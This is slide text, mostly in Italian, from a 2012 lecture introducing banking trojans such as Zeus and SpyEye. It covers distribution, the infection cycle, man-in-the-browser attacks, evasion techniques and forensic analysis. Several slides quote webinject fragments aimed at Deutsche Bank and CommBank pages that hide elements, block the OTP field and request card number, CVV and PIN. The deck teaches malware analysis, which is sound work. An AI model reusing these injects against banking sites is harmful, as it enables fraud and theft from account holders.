Malware Bancario I NTRODUZIONE A L C RIMEWARE NEL S ETTORE B ANCARIO PRESI NELLA RETE - C OLLEGIO GHISLIERI 23 N OVEMBRE 2012 Dott. Francesco Schifilliti
C OS È UN B ANKING T ROJAN ? 001 This term refers to the subset of malware seeking to steal/theft data from electronic bank accounts. Within this context, other financial services such as, for instance, online stock exchange operations are also considered electronic banking.
Zeus, SpyEye… e tanti altri 002
Soggetti (minimi) Coinvolti 003
Malware Developing 004
Malware Distribution 005 User ?
Malware Distribution 006 Pay-per-Install Drive-by-Download Exploit-as-a-Services
Ciclo Pay-per-Install 007 Exploit-as-a-Services
Fase di Infezione e Controllo 008 Exploit Pack Compromised Web Site Infection Mail di Spam
Iterando il processo dInfezione… 009 Flat BotnetP2P Botnet
Ciclo dInfezione di un Malware sul PC 010 Infezione sul Disco (ad es. SpyEye copia il file C:\cleansweep.ex e) Rendere Persistent il MW (ad es. con la modifica del registry) Injection (generalmente sul processo Explorer) Estensione della Injection (generalmente con tecniche di Hooking in Userland) Connessione persistente col Server di C&C
Odore di $$$ 011 User data theft data & session theft
Man in the Browser 012 Kernel- land User- land
Anti-Detection/Deception Techniques MW Code 013 Anti Memory Anti Emulation Anti Debugging Anti Disassembler Cryptography Packing & Protecting Obfuscation
Struttura di SpyEye 014 P P Binary Plugin del Malware: config.dat, ccgrabber collectors, sock5 customconnector webinjectors.txt Plugin del Malware: config.dat, ccgrabber collectors, sock5 customconnector webinjectors.txt Packer Obfuscation Anti-Dbg C&C
Un pezzettino di Webinjector di uno SpyEye ….. set_url * meine.deutsche-bank.de /trxm/db/*european.transfer.enter.data* GP data_before <body data_end data_inject style="visibility:hidden data_end data_after id= data_end data_before data_end data_inject if (typeof _n_ck == "undefined"){document.body.style.visibility = 'visible';} data_end data_after data_end …..
Un pezzettino di Webinjector di un ATS 016 ….. set_url * commbank.com.au /netbank/UserMaintenance* GP data_before *My Q* data_end data_inject window.onload = function() { for ( i=0; i < document.links.length; i++ ) if (document.links[i].id != 'H_LogOffLink' && document.links[i].id != 'ctl00_HeaderControl_LogOffLink) document.links[i].onclick = function() { return false; }; }; var clck_counter = 0; function msg() { clck_counter++; if (clck_counter==2) { document.getElementById('ctl00_BodyPlaceHolder_txtOTP_field').style.visibility = "hidden; document.getElementById('ctl00_BodyPlaceHolder_txtOTP_field').style.display = "none document.getElementById('ctl00_BodyPlaceHolder_btnGenSMS_field').disabled = true; document.getElementById('error').style.top = 42; document.getElementById('error').style.left = 42; document.getElementById('error').style.visibility = "visible; document.getElementById('error').style.display = "block; } return false; } …..
Webinject in Chiaro nella RAM #inject { display: none; }.ui-dialog { width: 400px; font-size: 11px; }.ui-dialog.ui-dialog-titlebar-close { visibility: hidden; }.ui-dialog.ui-dialog-titlebar { visibility: hidden; display: none; } P ıº| Ó Ω |HÓ Ω |pÓ Ω |òÓıº|¿Ó Ω |ËÓ˘º|Ô˙º|8Ô˙º|`ÔπàÔπÔÿÔ–·Ô value=unescape(document.cookie.substring(offset, end)) jQuery("#inject_cc").focus(); } else if (jQuery("#inject_expdate_mm").val().length < 2) { alert('Please enter Exp.Date'); jQuery("#inject_expdate_mm").focus(); } else if (jQuery("#inject_expdate_yy").val().length < 2) { alert('Please enter Exp.Date'); jQuery("#inject_expdate_yy").focus(); } else if (jQuery("#inject_cvv").val().length < 3) { alert('Please enter correct CVV'); jQuery("#inject_cvv").focus(); } else if (jQuery("#inject_pin").val().length < 5) { ……. 017
SpyEye: esempio di MW modulare e parametrico 018 User Cosa/Come Rubare è definito in base ai Plugin Installati sulla Bot. billinghammer.dll_5f00ca c15ebe2e682a19e8c9 bugreport.dll_a6c c1550db437aac86d4ffdad ccgrabber.dll_5b a6e8f eb88be39df creditgrab.dll_0e0c1855fa82ca3ad20bbe b2 ffcertgrabber.dll_6b5ffc56cec8f60a448fe7a a5 Plugin_CreditGrab.dll_0e0c1855fa82ca3ad20bbe b2 rdp.dll_0cb722049e024f2366ba9c187cb3929f ddos.dll_716d daa5e2a e9a77 … su Quale Banca/Ist. Finanziario fare operazioni in Frode è definito in webinjectors.txt a Chi Trasmettere i dati collezionati dal MW è definito in collectors.txt
Uno Schema di Riferimento dellAnalisi 019 Forensic Ananlysis Disk Analysis MW Searching Reg. Analysis Browser Analysis File Analysis Hash Comparing Entropy Analysis MW Analysis De- Anti- XYZ DisasseblingDebugging Memory Dumping Live Analysis Network Analysis Memory Analysis PIENA COMPRENSIONE DEL FORENSIC ARTIFACT
GRAZIE Francesco Schifilliti